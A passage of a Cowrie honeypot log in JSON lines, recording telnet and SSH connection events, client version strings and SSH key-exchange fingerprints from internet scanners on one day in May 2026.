{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"424a3ad2093c","protocol":"telnet","message":"New connection: 45.63.42.31:45964 (10.17.0.5:23) [session: 424a3ad2093c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:40.124026Z"}
{"eventid":"cowrie.session.closed","duration":34.520384311676025,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:49.613708Z","src_ip":"45.63.42.31","session":"bf7b1fc19572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97351264953613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:58.980859Z","src_ip":"45.63.42.31","session":"5ee4911a99fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a54dcab23e1","protocol":"telnet","message":"New connection: 45.63.42.31:42000 (10.17.0.5:23) [session: 5a54dcab23e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:05.634795Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.72.217.186","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c008784cab","protocol":"telnet","message":"New connection: 103.72.217.186:44470 (10.17.0.5:23) [session: 56c008784cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:06.365454Z"}
{"eventid":"cowrie.session.closed","duration":35.02355432510376,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:15.147323Z","src_ip":"45.63.42.31","session":"424a3ad2093c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.972783327102661,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:19.338079Z","src_ip":"103.72.217.186","session":"56c008784cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43702,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d78cbbf7ca1","protocol":"telnet","message":"New connection: 185.26.126.47:43702 (159.203.135.109:23) [session: 8d78cbbf7ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:32.023528Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"8706eb036606","protocol":"telnet","message":"New connection: 45.63.42.31:43096 (10.17.0.5:23) [session: 8706eb036606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:32.382978Z"}
{"eventid":"cowrie.session.closed","duration":35.87332820892334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:41.508007Z","src_ip":"45.63.42.31","session":"5a54dcab23e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41446,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f58ea68cd80","protocol":"telnet","message":"New connection: 45.63.42.31:41446 (10.17.0.5:23) [session: 3f58ea68cd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:46.686829Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":64040,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b746781bef3","protocol":"ssh","message":"New connection: 103.149.252.223:64040 (159.203.135.109:22) [session: 1b746781bef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:50.743086Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:50.748945Z","src_ip":"103.149.252.223","session":"1b746781bef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:25:50.752750Z","src_ip":"103.149.252.223","session":"1b746781bef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.328269481658936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:08.711113Z","src_ip":"45.63.42.31","session":"8706eb036606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.00467085838318,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:12.028049Z","src_ip":"185.26.126.47","session":"8d78cbbf7ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155401229858,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:18.093148Z","src_ip":"190.17.158.67","session":"4700aa1ceb68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":50016,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d583b5be636","protocol":"telnet","message":"New connection: 190.17.158.67:50016 (10.17.0.5:23) [session: 4d583b5be636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:21.103273Z"}
{"eventid":"cowrie.session.closed","duration":34.73954367637634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:21.426231Z","src_ip":"45.63.42.31","session":"3f58ea68cd80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":50368,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a18a7c172f8","protocol":"telnet","message":"New connection: 190.17.158.67:50368 (10.17.0.5:23) [session: 0a18a7c172f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:26:25.274604Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52376,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e95ad8c8c2c","protocol":"telnet","message":"New connection: 45.63.42.31:52376 (10.17.0.5:23) [session: 4e95ad8c8c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:06.234571Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":34432,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f3e585268a","protocol":"telnet","message":"New connection: 103.115.172.252:34432 (10.17.0.5:23) [session: 60f3e585268a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:31.486773Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":35400,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de38d594d7e","protocol":"telnet","message":"New connection: 103.115.172.252:35400 (10.17.0.5:23) [session: 8de38d594d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:33.515084Z"}
{"eventid":"cowrie.session.closed","duration":35.18285012245178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:41.417298Z","src_ip":"45.63.42.31","session":"4e95ad8c8c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46504,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1378b84b7e","protocol":"telnet","message":"New connection: 45.63.42.31:46504 (10.17.0.5:23) [session: bf1378b84b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:43.661666Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40882,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5470d1b801c","protocol":"telnet","message":"New connection: 45.63.42.31:40882 (10.17.0.5:23) [session: b5470d1b801c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:27:44.102840Z"}
{"eventid":"cowrie.session.closed","duration":37.90969920158386,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:09.396368Z","src_ip":"103.115.172.252","session":"60f3e585268a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18934679031372,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:09.704327Z","src_ip":"103.115.172.252","session":"8de38d594d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57442,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac18d3d7d68","protocol":"telnet","message":"New connection: 185.26.126.47:57442 (159.203.135.109:23) [session: fac18d3d7d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:17.507336Z"}
{"eventid":"cowrie.session.closed","duration":34.528306007385254,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:18.631061Z","src_ip":"45.63.42.31","session":"b5470d1b801c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.453226804733276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:20.114802Z","src_ip":"45.63.42.31","session":"bf1378b84b7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00238060951233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:21.105521Z","src_ip":"190.17.158.67","session":"4d583b5be636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182723999023,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:25.276270Z","src_ip":"190.17.158.67","session":"0a18a7c172f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":60468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b77c9cc5b2d","protocol":"telnet","message":"New connection: 190.17.158.67:60468 (10.17.0.5:23) [session: 1b77c9cc5b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:25.428675Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":60858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4cdca2492b5","protocol":"telnet","message":"New connection: 190.17.158.67:60858 (10.17.0.5:23) [session: c4cdca2492b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:28.577099Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.245.232.67","src_port":22504,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ec925fd323","protocol":"telnet","message":"New connection: 105.245.232.67:22504 (159.203.135.109:23) [session: 23ec925fd323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:34.443025Z"}
{"eventid":"cowrie.session.closed","duration":12.914603471755981,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:28:47.357527Z","src_ip":"105.245.232.67","session":"23ec925fd323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.361677408218384,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:29:05.868867Z","src_ip":"185.26.126.47","session":"fac18d3d7d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"138e16b821ab","protocol":"telnet","message":"New connection: 45.63.42.31:39440 (10.17.0.5:23) [session: 138e16b821ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:30:09.793432Z"}
{"eventid":"cowrie.session.closed","duration":120.00222134590149,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:30:25.430645Z","src_ip":"190.17.158.67","session":"1b77c9cc5b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158596038818,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:30:28.578538Z","src_ip":"190.17.158.67","session":"c4cdca2492b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":46398,"dst_ip":"10.17.0.5","dst_port":23,"session":"adc6776acd9b","protocol":"telnet","message":"New connection: 190.17.158.67:46398 (10.17.0.5:23) [session: adc6776acd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:30:31.908064Z"}
{"eventid":"cowrie.session.closed","duration":35.342286109924316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:30:45.135590Z","src_ip":"45.63.42.31","session":"138e16b821ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45844,"dst_ip":"10.17.0.5","dst_port":23,"session":"c811ef5343a9","protocol":"telnet","message":"New connection: 103.115.172.252:45844 (10.17.0.5:23) [session: c811ef5343a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:01.613383Z"}
{"eventid":"cowrie.session.closed","duration":33.21903657913208,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:34.832303Z","src_ip":"103.115.172.252","session":"c811ef5343a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58352,"dst_ip":"10.17.0.5","dst_port":23,"session":"027d68b737a7","protocol":"telnet","message":"New connection: 103.115.172.252:58352 (10.17.0.5:23) [session: 027d68b737a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:38.955395Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a29114f150c3","protocol":"ssh","message":"New connection: 31.56.209.38:54510 (10.17.0.5:22) [session: a29114f150c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:48.554229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:48.564517Z","src_ip":"31.56.209.38","session":"a29114f150c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:48.646409Z","src_ip":"31.56.209.38","session":"a29114f150c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:31:56.554432Z","src_ip":"31.56.209.38","session":"a29114f150c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad0fa0b14a0","protocol":"telnet","message":"New connection: 103.115.172.252:39354 (10.17.0.5:23) [session: 0ad0fa0b14a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:06.786818Z"}
{"eventid":"cowrie.session.closed","duration":37.87713289260864,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:16.832402Z","src_ip":"103.115.172.252","session":"027d68b737a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00192523002625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:31.909840Z","src_ip":"190.17.158.67","session":"adc6776acd9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c73d7505b5d","protocol":"telnet","message":"New connection: 190.17.158.67:59990 (10.17.0.5:23) [session: 4c73d7505b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:35.181023Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":60360,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e09e2fa0aa0","protocol":"telnet","message":"New connection: 190.17.158.67:60360 (10.17.0.5:23) [session: 5e09e2fa0aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:38.975084Z"}
{"eventid":"cowrie.session.closed","duration":47.32929468154907,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:32:54.115999Z","src_ip":"103.115.172.252","session":"0ad0fa0b14a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d8d7506997","protocol":"telnet","message":"New connection: 166.62.41.96:48330 (159.203.135.109:23) [session: 06d8d7506997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:09.504208Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":49158,"dst_ip":"159.203.135.109","dst_port":23,"session":"164f86a9df22","protocol":"telnet","message":"New connection: 166.62.41.96:49158 (159.203.135.109:23) [session: 164f86a9df22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:23.416509Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35034,"dst_ip":"10.17.0.5","dst_port":23,"session":"376661c9de50","protocol":"telnet","message":"New connection: 45.63.42.31:35034 (10.17.0.5:23) [session: 376661c9de50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:30.047316Z"}
{"eventid":"cowrie.session.closed","duration":30.827604293823242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:40.331668Z","src_ip":"166.62.41.96","session":"06d8d7506997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48112,"dst_ip":"10.17.0.5","dst_port":23,"session":"d500ffef2b17","protocol":"telnet","message":"New connection: 103.115.172.252:48112 (10.17.0.5:23) [session: d500ffef2b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:48.791739Z"}
{"eventid":"cowrie.session.closed","duration":30.82853889465332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:54.244913Z","src_ip":"166.62.41.96","session":"164f86a9df22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34740,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1decf689436","protocol":"telnet","message":"New connection: 45.63.42.31:34740 (10.17.0.5:23) [session: d1decf689436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:33:54.708369Z"}
{"eventid":"cowrie.session.closed","duration":35.58437156677246,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:05.631529Z","src_ip":"45.63.42.31","session":"376661c9de50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.028709411621094,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:25.820361Z","src_ip":"103.115.172.252","session":"d500ffef2b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65231728553772,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:30.360543Z","src_ip":"45.63.42.31","session":"d1decf689436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00199770927429,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:35.182678Z","src_ip":"190.17.158.67","session":"4c73d7505b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00127911567688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:38.976245Z","src_ip":"190.17.158.67","session":"5e09e2fa0aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39150,"dst_ip":"10.17.0.5","dst_port":23,"session":"077d1a025926","protocol":"telnet","message":"New connection: 103.115.172.252:39150 (10.17.0.5:23) [session: 077d1a025926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:51.235261Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.252.198.246","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"07348b139c15","protocol":"telnet","message":"New connection: 72.252.198.246:57558 (10.17.0.5:23) [session: 07348b139c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:34:57.942020Z"}
{"eventid":"cowrie.session.closed","duration":13.309258937835693,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:11.251179Z","src_ip":"72.252.198.246","session":"07348b139c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.238","src_port":50564,"dst_ip":"159.203.135.109","dst_port":22,"session":"46882bc91a4d","protocol":"ssh","message":"New connection: 192.109.200.238:50564 (159.203.135.109:22) [session: 46882bc91a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:23.765228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:23.853246Z","src_ip":"192.109.200.238","session":"46882bc91a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nist